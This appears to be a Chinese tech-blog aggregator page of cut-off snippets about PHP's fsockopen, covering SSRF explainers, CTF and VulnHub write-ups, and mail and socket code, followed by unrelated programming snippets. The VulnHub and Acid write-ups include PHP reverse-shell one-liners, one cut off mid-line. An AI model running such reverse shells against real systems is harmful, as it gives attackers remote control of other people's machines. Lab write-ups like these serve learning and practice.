- 初学ssrf(1)
晓幂
web安全安全网络安全
初学ssrf(1)一.什么是ssrf:SSRF,服务端请求伪造,是一种攻击者构造攻击连传给服务器,给服务端执行并发起请求造成安全问题漏洞,一般用来在外网探测或供给内网服务。1.相关函数和类:file_get_contents()//将整个文件或一个url所指向的文件读入一个字符串中(php伪协议中常用)readfile()//输出一个文件的内容fsockopen()//打开一个网络连接或者一个Un
- 开发安全之:Server-Side Request Forgery
irizhao
安全
Overview函数fsockopen()将使用资源URI的用户控制数据启动与第三方系统的网络连接。攻击者可以利用此漏洞代表应用程序服务器发送一个请求,因为此请求将自应用程序服务器内部IP地址发出。Details当攻击者可以影响应用程序服务器建立的网络连接时,将会发生Server-SideRequestForgery。网络连接源自于应用程序服务器内部IP地址,因此攻击者将可以使用此连接来避开网络控
- 开发安全之:Server-Side Request Forgery
irizhao
安全
Overview函数fsockopen()将使用资源URI的用户控制数据启动与第三方系统的网络连接。攻击者可以利用此漏洞代表应用程序服务器发送一个请求,因为此请求将自应用程序服务器内部IP地址发出。Details当攻击者可以影响应用程序服务器建立的网络连接时,将会发生Server-SideRequestForgery。网络连接源自于应用程序服务器内部IP地址,因此攻击者将可以使用此连接来避开网络控
- vulnhub靶机Chill_Hack
himobrinehacken
vulnhub网络安全web安全系统安全网络攻击模型安全
下载地址:ChillHack:1~VulnHub主机发现目标176端口扫描服务扫描直接去看web先扫一下有几个有点问题看着好像命令执行看来没错直接反弹shell还有还白名单?bash也不能用那就用php吧whoami|php-r'$sock=fsockopen("192.168.21.131",666);exec("bash&32>&3");'搞定接下来就是提权了有python吧shell弄一下刚
- php网站在服务器上邮件发送不了,在本地可以
懒得代码
phpphp邮箱
最近在做phpmailer发送邮件功能里发现了一个问题,网站程序在本地测试邮件可以正常发送到指定的邮箱。但是把代码放到空间上面,邮件发不了,提示发送出错!研究半天没有搞懂为什么……(高手勿喷)后来上网找了一下,有人说是服务器商因为安全原因把php的fsockopen函数给关闭了。于是按照网上的解决方法把fsockopen函数替换了,方法如下:首先找到phpmailer的class.stmp.php
- 分析日志命令
xiaopzi123123
网络服务器linux
grep-i"fsockopen"-R*|more搜索文件夹下的fsockopenfind./-typef|wc-l统计文件夹下有多文件crontab-e0grep'07/Sep'access_nginx.log|awk-F":"'{if($2>7&&$2="[07/Sep/2020:15:00:00"&&$4awk'{if($1=="113.111.211.224"){print$0}}'tem
- WEB系列(五)-----------SSRF/XXE/命令执行
weixinzjh
WEB安全
SSRFSSRF(server-siterequestfirery,服务端请求伪造)是一种构造请求,由服务端发起请求的安全漏洞。与CSRF不同的是发起请求的对象不同。成因:服务端提供了从其他服务器获取数据的功能,但没有对内网目标地址做过滤与限制。产生ssrf漏洞的函数file_get_content()fsockopen()curl_exec()XXEXMLDTDDTD声明类型内部声明外部声明DT
- PHP监本telnet到服务器并执行命令脚本,可以用来执行dubbo命令
人在码途
sock=fsockopen($host,$port);socket_set_timeout($this->sock,10,0);}functionclose(){if($this->sock)fclose($this->sock);$this->sock=NULL;}functionwrite($buffer){$buffer=str_replace(chr(255),chr(255).chr(
- php 监听redis,php监听redis key失效触发回调事件_后端开发
阿葱的葱白
php监听redis
php中使用fsockopen实现异步请求(代码示例)_后端开发php执行一段程序,有可能几毫秒就执行完毕,也有可能耗时较长。例如,用户下单这个事件,如果调用了些第三方服务进行发邮件、短信、推送等通知,可能导致前端一直在等待。订单超时、活动过期解决方案:php监听rediskey失效触发回调事件Redis的2.8.0版本之后可用,键空间消息(RedisKeyspaceNotifications),
- 云尘-Acid
双层小牛堡
渗透chromeandroid前端
vulhub的靶场直接开扫开始信息收集robots.txt啥都给我用上有一个解码看看访问不上学了别人的wp通过dirbustr跑选择字典开冲!但是真的巨慢!!!然后最后扫下来Challenge/Magic_Box/command.php发现了这个目录这不就ctf的ping的rce么直接执行命令看看这里如果我们需要反弹shell就需要通过bp的url编码;php-r'$sock=fsockopen(
- NSSCTF第8页(2)
呕...
android
[LitCTF2023]就当无事发生没有环境[MoeCTF2022]ezhtml在js代码找到了flag[HNCTF2022WEEK2]ez_ssrf题目描述说让我们访问index.php,看到了代码传入的data会base64解码,传参port和host,还有一个没见过的函数fsockopen查了一下fsockopen函数可以被滥用来触发SSRF攻击,这是因为该函数允许从远程服务器上读取数据并与
- [HNCTF 2022 WEEK2]ez_ssrf题目解析
狼丿王
java算法开发语言
这题主要是引入ssrf这个漏洞攻击,本质上没有更深入的考察本题是需要我们去伪造一个ssrf的请求头去绕过题目开始给了我们信息让我们去访问index.phpfsockopen函数触发ssrffsockopen()函数建立与指定主机和端口的socket连接。然后,它将传入的base64编码的数据解码,并将数据写入到连接的socket中。通过了解知道fsockopen函数就要清楚有考察ssrf的意思,需
- php发送get、post请求的6种方法简明总结?
smallmww
PHPphp
这篇文章主要介绍php发送get、post请求的6种方法简明总结,分别为使用file_get_contents、fopen、fsockopen、curl来发送GET和POST请求,需要的朋友可以参考下方法1:用file_get_contents以get方式获取内容:方法2:用fopen打开url,以get方式获取内容:方法3:用file_get_contents函数,以post方式获取url'ba
- CTFHUB - SSRF
双层小牛堡
WEBSSRF
目录SSRF漏洞攻击对象攻击形式产生漏洞的函数file_get_contents()fsockopen()curl_exec()提高危害利用的伪协议filedictgopher内网访问伪协议读取文件端口扫描POST请求总结上传文件总结FastCGI协议CGI和FastCGI的区别FastCGI协议FastCGI和web服务器的交互过程PHP-FPM攻击原理实现RCE做题1.exp2.gopheru
- SSRF攻击(服务端请求伪造)
布满杂草的荆棘
常见的漏洞安全网络
1.SSRF(服务端请求伪造)原理概念:是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)原理:参数给变量未经过滤,使用了不安全的函数curl_init、file_get_contents、fsockopen,这三个函数支持过滤协议,通过过滤协议读对方的文
- 怎么实现PHP异步
宸风如苏
在开发中遇到过这样的问题(我是在支付宝回调的时候,处理的业务逻辑有点多),某段程序执行很慢,但是这又涉及到用户体验,这时候我们就会想如果我先返回给用户成功的提示,然后我在服务器上再去慢慢执行我的代码不就两全齐美了吗-----这就是我理解的异步。PHP是支持socket编程的,就是fsockopen函数,函数说明:fsockopen—打开一个网络连接或者一个Unix套接字连接fscokopen会返回
- web-ssrf
偷吃"游"的阿彪
前端
目录ssrf介绍以pikachu靶场为例curl访问外网链接利用file协议查看本地文件利用dict协议扫描内网主机开放端口file_get_content利用file协议查看本地文件:fsockopen()防御方式:ssrf介绍服务器端请求伪造,是一种由攻击者构造形成而由服务器端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。其目标是与服务器端相连的内部网络。以
- SSRF 漏洞学习实战
救命救敏
安全学习web安全
3x05SSRF漏洞学习实战文章目录3x05`SSRF`漏洞学习实战一.ssrf漏洞概念二.原理三.SSRF漏洞的危害四.漏洞检测点五.ssrf漏洞绕过六.ssrf漏洞的利用1.相关函数(1)`file_get_contents`(2)`fsockopen`(3)`curl_exec`2.相关协议七.pikachu靶场之ssrf七.ssrf防御补充知识一.ssrf漏洞概念ssrf(Server-S
- 【无标题】
里音日黑
知识网络安全
(1)相关的函数和类file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中(php伪协议中常用)readfile():输出一个文件的内容fsockopen():打开一个网络连接或者一个Unix套接字连接curl_init():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl-exec():执行给定的cURL
- 无标题文章
超人又来了
fsockopen()函数的作用是可以用来打开一个socket连接,另一个函数pfsockopen()也有相似的功能,只不过后者是一个“持续”(persistent)的fsockopen()函数,它在脚本运行完之后并不立即断开。PHP异步:在PHP中使用fsockopencurl实现类似异步处理的功能https://segmentfault.com/a/1190000002982448你吃饭吃到一
- PHP上传文件结合socket完成
云松编程
PHPsocket上传文件php
利用fsockopen来上传文件以前我写过一篇关于socket通信原理的博文http://blog.51yip.com/php/673.html有兴趣的朋友可以看看,前面讲的那篇博文,socket的服务器和客户端都是要用php命令来运行的。平常我们上传文件是浏览本地文件,通过一个php程序将文件上传一个地方,这个时候我们用php命令来运行php程序就不方便了。这个时候我们可以用fsockopen来
- 记一次 CURL HTTP 500 错误经历
HiFeiz
PHP/Mysqlphp
事出经过APIPost,PHPCURL请求本地API接口始终报HTTP500,CURL和APIPost设置通过fd代理后请求却没有问题主要是PHP调试一直出错,fsockopen、curl、file_get_contents都一样解决过程wireshark无法抓本地包,遂放弃curl设置fiddler走代理后请求没有问题!!!!最后通过获取curl的请求头,发现多了个头Proxy-Connecti
- SSRF漏洞讲解
跳楼梯企鹅
安全web安全服务器
SSRF漏洞讲解一、初识SSRF漏洞1.定义2.产生原理3.会导致的危害4.常见产生SSRF的地方5.常见缺失函数二、SSRF漏洞利用1.函数(1)file_get_contents(2)fsockopen()(3)curl_exec()2.协议(1)file协议(2)http协议(3)dict协议(4)gopher协议三、绕过1.绕过方式(1)检查IP是否为内网IP(2)Host获取与DNS绕过
- php 怎么实现多线程,php 实现多线程
陈炳好
php怎么实现多线程
通过php的Socket方式实现php程序的多线程。php本身是不支持多线程的,那么如何在php中实现多线程呢?可以想一下,WEB服务器本身都是支持多线程的。每一个访问者,当访问WEB页面的时候,都将调用新的线程,通过这一点我们可以利用WEB服务器自身的线程来解决PHP不支持多线程的问题。下面给出通过fsockopen()建立socket连接,然后用用fputs()发送消息,来实现的PHP多线程类
- php扫描端口
CSeroad
php实现对指定IP进行端口扫描代码为IPportScantd{padding:10px;margin:10px;border-width:1pxsolid#eee;text-align:center;}span{color:red;}pleaseentertheIPaddress10){foreach($portas$key=>$value){$fp=@fsockopen($ip,$value,
- 细说——SSRF
lainwith
渗透测试渗透测试
目录什么是SSRF形成原因容易出现SSRF的地方SSRF的危害脑图SSRF相关函数和协议函数file_get_contents()fsockopen()curl_exec()协议漏洞检测常用绕过方式限制为http://www.xxx.com域名时(利用@)限制请求IP不为内网地址限制请求只为http协议利用[::]利用句号利用特殊地址利用协议利用上传利用Enclosedalphanumerics靶
- 网络编程--socket
机器不能学习
php内置函数只能够主动连接,无法进行监听等活动。函数包或fsockopen和pfsockopen,后者是长连接,persistent的缩写利用函数建立连接后,资源的传输获取可以用文件操作的几个函数。fgets()(读字符,用于读取正行或字符串)fread()(用于读取整块内容)fwrite()fclose()等PECL函数库函数函数库有强大的socket功能,包括监听端口,阻塞和非阻塞切换,多客
- PHP的一个完整SMTP类(解决当mail()遇上邮件服务器需要验证时的问题) [转]
nihilism
php技术邮件服务器phpfunctionheadercommandvariables
class.smtp.phpdebug=FALSE;$this->smtp_port=$smtp_port;$this->relay_host=$relay_host;$this->time_out=30;//isusedinfsockopen()#$this->auth=$auth;//auth$this->user=$user;$this->pass=$pass;#$this->host_na
- php 利用smtp封装类发送邮件
hxjcsdn
随笔
1.smtp封装类,二开注意名称不要与已有冲突还要注意位置放正确,比如我这里重命名为smtp_email.php,放在classes文件夹下debug=FALSE;$this->smtp_port=$smtp_port;$this->relay_host=$relay_host;$this->time_out=30;//isusedinfsockopen()#$this->auth=$auth;/
- php实现多线程
PHP学习与交流
PHPphp
PHP本身是不支持多线程的,我们可以通过php自身函数虚拟处理啊多线程。下面介绍三个函数来实现多进程。一、fsockopen,打开一个网络连接或者一个Unix套接字连接。其中stream_set_blocking()-为资源流设置阻塞或者阻塞模式*@title:PHP多线程类(Thread)*@version:1.0**PHP多线程应用示例:*require_once'thread.class.p
- java线程Thread和Runnable区别和联系
zx_code
javajvmthread多线程Runnable
我们都晓得java实现线程2种方式,一个是继承Thread,另一个是实现Runnable。
模拟窗口买票,第一例子继承thread,代码如下
package thread;
public class ThreadTest {
public static void main(String[] args) {
Thread1 t1 = new Thread1(
- 【转】JSON与XML的区别比较
丁_新
jsonxml
1.定义介绍
(1).XML定义
扩展标记语言 (Extensible Markup Language, XML) ,用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 XML使用DTD(document type definition)文档类型定义来组织数据;格式统一,跨平台和语言,早已成为业界公认的标准。
XML是标
- c++ 实现五种基础的排序算法
CrazyMizzz
C++c算法
#include<iostream>
using namespace std;
//辅助函数,交换两数之值
template<class T>
void mySwap(T &x, T &y){
T temp = x;
x = y;
y = temp;
}
const int size = 10;
//一、用直接插入排
- 我的软件
麦田的设计者
我的软件音乐类娱乐放松
这是我写的一款app软件,耗时三个月,是一个根据央视节目开门大吉改变的,提供音调,猜歌曲名。1、手机拥有者在android手机市场下载本APP,同意权限,安装到手机上。2、游客初次进入时会有引导页面提醒用户注册。(同时软件自动播放背景音乐)。3、用户登录到主页后,会有五个模块。a、点击不胫而走,用户得到开门大吉首页部分新闻,点击进入有新闻详情。b、
- linux awk命令详解
被触发
linux awk
awk是行处理器: 相比较屏幕处理的优点,在处理庞大文件时不会出现内存溢出或是处理缓慢的问题,通常用来格式化文本信息
awk处理过程: 依次对每一行进行处理,然后输出
awk命令形式:
awk [-F|-f|-v] ‘BEGIN{} //{command1; command2} END{}’ file
[-F|-f|-v]大参数,-F指定分隔符,-f调用脚本,-v定义变量 var=val
- 各种语言比较
_wy_
编程语言
Java Ruby PHP 擅长领域
- oracle 中数据类型为clob的编辑
知了ing
oracle clob
public void updateKpiStatus(String kpiStatus,String taskId){
Connection dbc=null;
Statement stmt=null;
PreparedStatement ps=null;
try {
dbc = new DBConn().getNewConnection();
//stmt = db
- 分布式服务框架 Zookeeper -- 管理分布式环境中的数据
矮蛋蛋
zookeeper
原文地址:
http://www.ibm.com/developerworks/cn/opensource/os-cn-zookeeper/
安装和配置详解
本文介绍的 Zookeeper 是以 3.2.2 这个稳定版本为基础,最新的版本可以通过官网 http://hadoop.apache.org/zookeeper/来获取,Zookeeper 的安装非常简单,下面将从单机模式和集群模式两
- tomcat数据源
alafqq
tomcat
数据库
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API。
没有使用JNDI时我用要这样连接数据库:
03. Class.forName("com.mysql.jdbc.Driver");
04. conn
- 遍历的方法
百合不是茶
遍历
遍历
在java的泛
- linux查看硬件信息的命令
bijian1013
linux
linux查看硬件信息的命令
一.查看CPU:
cat /proc/cpuinfo
二.查看内存:
free
三.查看硬盘:
df
linux下查看硬件信息
1、lspci 列出所有PCI 设备;
lspci - list all PCI devices:列出机器中的PCI设备(声卡、显卡、Modem、网卡、USB、主板集成设备也能
- java常见的ClassNotFoundException
bijian1013
java
1.java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory 添加包common-logging.jar2.java.lang.ClassNotFoundException: javax.transaction.Synchronization
- 【Gson五】日期对象的序列化和反序列化
bit1129
反序列化
对日期类型的数据进行序列化和反序列化时,需要考虑如下问题:
1. 序列化时,Date对象序列化的字符串日期格式如何
2. 反序列化时,把日期字符串序列化为Date对象,也需要考虑日期格式问题
3. Date A -> str -> Date B,A和B对象是否equals
默认序列化和反序列化
import com
- 【Spark八十六】Spark Streaming之DStream vs. InputDStream
bit1129
Stream
1. DStream的类说明文档:
/**
* A Discretized Stream (DStream), the basic abstraction in Spark Streaming, is a continuous
* sequence of RDDs (of the same type) representing a continuous st
- 通过nginx获取header信息
ronin47
nginx header
1. 提取整个的Cookies内容到一个变量,然后可以在需要时引用,比如记录到日志里面,
if ( $http_cookie ~* "(.*)$") {
set $all_cookie $1;
}
变量$all_cookie就获得了cookie的值,可以用于运算了
- java-65.输入数字n,按顺序输出从1最大的n位10进制数。比如输入3,则输出1、2、3一直到最大的3位数即999
bylijinnan
java
参考了网上的http://blog.csdn.net/peasking_dd/article/details/6342984
写了个java版的:
public class Print_1_To_NDigit {
/**
* Q65.输入数字n,按顺序输出从1最大的n位10进制数。比如输入3,则输出1、2、3一直到最大的3位数即999
* 1.使用字符串
- Netty源码学习-ReplayingDecoder
bylijinnan
javanetty
ReplayingDecoder是FrameDecoder的子类,不熟悉FrameDecoder的,可以先看看
http://bylijinnan.iteye.com/blog/1982618
API说,ReplayingDecoder简化了操作,比如:
FrameDecoder在decode时,需要判断数据是否接收完全:
public class IntegerH
- js特殊字符过滤
cngolon
js特殊字符js特殊字符过滤
1.js中用正则表达式 过滤特殊字符, 校验所有输入域是否含有特殊符号function stripscript(s) { var pattern = new RegExp("[`~!@#$^&*()=|{}':;',\\[\\].<>/?~!@#¥……&*()——|{}【】‘;:”“'。,、?]"
- hibernate使用sql查询
ctrain
Hibernate
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import org.hibernate.Hibernate;
import org.hibernate.SQLQuery;
import org.hibernate.Session;
import org.hibernate.Transa
- linux shell脚本中切换用户执行命令方法
daizj
linuxshell命令切换用户
经常在写shell脚本时,会碰到要以另外一个用户来执行相关命令,其方法简单记下:
1、执行单个命令:su - user -c "command"
如:下面命令是以test用户在/data目录下创建test123目录
[root@slave19 /data]# su - test -c "mkdir /data/test123" 
- 好的代码里只要一个 return 语句
dcj3sjt126com
return
别再这样写了:public boolean foo() { if (true) { return true; } else { return false;
- Android动画效果学习
dcj3sjt126com
android
1、透明动画效果
方法一:代码实现
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState)
{
View rootView = inflater.inflate(R.layout.fragment_main, container, fals
- linux复习笔记之bash shell (4)管道命令
eksliang
linux管道命令汇总linux管道命令linux常用管道命令
转载请出自出处:
http://eksliang.iteye.com/blog/2105461
bash命令执行的完毕以后,通常这个命令都会有返回结果,怎么对这个返回的结果做一些操作呢?那就得用管道命令‘|’。
上面那段话,简单说了下管道命令的作用,那什么事管道命令呢?
答:非常的经典的一句话,记住了,何为管
- Android系统中自定义按键的短按、双击、长按事件
gqdy365
android
在项目中碰到这样的问题:
由于系统中的按键在底层做了重新定义或者新增了按键,此时需要在APP层对按键事件(keyevent)做分解处理,模拟Android系统做法,把keyevent分解成:
1、单击事件:就是普通key的单击;
2、双击事件:500ms内同一按键单击两次;
3、长按事件:同一按键长按超过1000ms(系统中长按事件为500ms);
4、组合按键:两个以上按键同时按住;
- asp.net获取站点根目录下子目录的名称
hvt
.netC#asp.nethovertreeWeb Forms
使用Visual Studio建立一个.aspx文件(Web Forms),例如hovertree.aspx,在页面上加入一个ListBox代码如下:
<asp:ListBox runat="server" ID="lbKeleyiFolder" />
那么在页面上显示根目录子文件夹的代码如下:
string[] m_sub
- Eclipse程序员要掌握的常用快捷键
justjavac
javaeclipse快捷键ide
判断一个人的编程水平,就看他用键盘多,还是鼠标多。用键盘一是为了输入代码(当然了,也包括注释),再有就是熟练使用快捷键。 曾有人在豆瓣评
《卓有成效的程序员》:“人有多大懒,才有多大闲”。之前我整理了一个
程序员图书列表,目的也就是通过读书,让程序员变懒。 写道 程序员作为特殊的群体,有的人可以这么懒,懒到事情都交给机器去做,而有的人又可
- c++编程随记
lx.asymmetric
C++笔记
为了字体更好看,改变了格式……
&&运算符:
#include<iostream>
using namespace std;
int main(){
int a=-1,b=4,k;
k=(++a<0)&&!(b--
- linux标准IO缓冲机制研究
音频数据
linux
一、什么是缓存I/O(Buffered I/O)缓存I/O又被称作标准I/O,大多数文件系统默认I/O操作都是缓存I/O。在Linux的缓存I/O机制中,操作系统会将I/O的数据缓存在文件系统的页缓存(page cache)中,也就是说,数据会先被拷贝到操作系统内核的缓冲区中,然后才会从操作系统内核的缓冲区拷贝到应用程序的地址空间。1.缓存I/O有以下优点:A.缓存I/O使用了操作系统内核缓冲区,
- 随想 生活
暗黑小菠萝
生活
其实账户之前就申请了,但是决定要自己更新一些东西看也是最近。从毕业到现在已经一年了。没有进步是假的,但是有多大的进步可能只有我自己知道。
毕业的时候班里12个女生,真正最后做到软件开发的只要两个包括我,PS:我不是说测试不好。当时因为考研完全放弃找工作,考研失败,我想这只是我的借口。那个时候才想到为什么大学的时候不能好好的学习技术,增强自己的实战能力,以至于后来找工作比较费劲。我
- 我认为POJO是一个错误的概念
windshome
javaPOJO编程J2EE设计
这篇内容其实没有经过太多的深思熟虑,只是个人一时的感觉。从个人风格上来讲,我倾向简单质朴的设计开发理念;从方法论上,我更加倾向自顶向下的设计;从做事情的目标上来看,我追求质量优先,更愿意使用较为保守和稳妥的理念和方法。
&